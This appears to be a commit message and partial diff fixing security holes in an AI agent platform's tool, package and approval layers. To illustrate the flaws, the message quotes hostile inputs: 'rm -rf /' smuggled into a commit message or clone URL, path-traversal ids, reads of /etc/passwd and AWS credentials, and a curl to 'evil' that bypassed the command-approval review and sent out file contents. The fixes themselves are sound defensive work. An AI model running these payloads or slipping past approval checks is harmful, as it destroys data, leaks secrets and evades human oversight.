Fix command injection, path traversal, and approval bypass in tool/market layer

A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.

Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
  A message like `foo" && rm -rf / #` injected arbitrary commands, and the
  approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
  `$(curl ...)` was executed. Now shlex-quoted.

Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
  manifest) was used directly as a directory name under prompts/market and
  passed to mkdir(parents=True) / shutil.rmtree. An id like
  `../../projects/<victim>` enabled arbitrary file write and arbitrary
  directory deletion. Added _market_prompts_dir() which validates the id
  (lowercase alphanumeric + -/_) and confirms the resolved path stays inside
  the market base; uninstall validates up front. Prompt-content filenames are
  also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
  report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
  read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
  were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
  role id/name) flowed unchecked into the path, enabling traversal writes.
  Now reduced to a safe path component with a containment check.

Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
  auto-approved as LOW risk even when it contained shell command substitution.
  `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
  human/LLM review, letting bash exfil data. Added
  _command_has_shell_substitution() and gated safe-prefix matching on it.

Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
  the `-Command` flag from PowerShell argv (4 elements), silently breaking
  every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
  JSON array) were silently replaced with `{}` while arguments_parse_error
  stayed None, so the tool executed with empty args (todo_write could wipe the
  task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
  store.initialize() (via _sweep_stale_claims), so a single corrupt row
  prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
  `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
  None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
  outbound dispatch loop and silently stopped all message delivery on every
  channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
  `data.get` raise AttributeError and drop the whole WS connection. Non-dict
  frames are now ignored.

Co-Authored-By: Claude <noreply@anthropic.com>

opc/plugins/office_ui/ws_handler.py

@@ -3134,6 +3134,11 @@ class WSHandler:
             data = json.loads(raw)
         except json.JSONDecodeError:
             return
+        # ``json.loads`` succeeds for non-object frames (null/number/array/string);
+        # ``data.get`` would then raise AttributeError, escape this method, and drop the
+        # whole WS connection. Ignore anything that is not a JSON object.
+        if not isinstance(data, dict):
+            return
 
         msg_type = data.get("type", "")
         if self._shutting_down:
@@ -3672,8 +3677,16 @@ class WSHandler:
         """Write a custom prompt file and return its relative path as a prompt_ref."""
         prompts_dir = Path(self.engine.opc_home) / "prompts" / "custom"
         prompts_dir.mkdir(parents=True, exist_ok=True)
-        filename = f"{employee_id}.md"
-        filepath = prompts_dir / filename
+        # ``employee_id`` is derived from user-supplied role id/name and previously flowed
+        # unchecked into the path, enabling traversal (e.g. "../../tmp/pwn"). Reduce it to
+        # a single safe path component and confirm containment before writing.
+        safe_id = Path(str(employee_id or "")).name.replace("..", "")
+        safe_id = safe_id.replace("/", "").replace("\\", "").strip() or "agent"
+        filename = f"{safe_id}.md"
+        filepath = (prompts_dir / filename).resolve()
+        base = prompts_dir.resolve()
+        if base not in filepath.parents and filepath != base:
+            raise ValueError(f"Custom prompt filename escapes prompts directory: {employee_id!r}")
         filepath.write_text(f"# {name}\n\n{prompt_text}\n", encoding="utf-8")
         return f"prompts/custom/{filename}"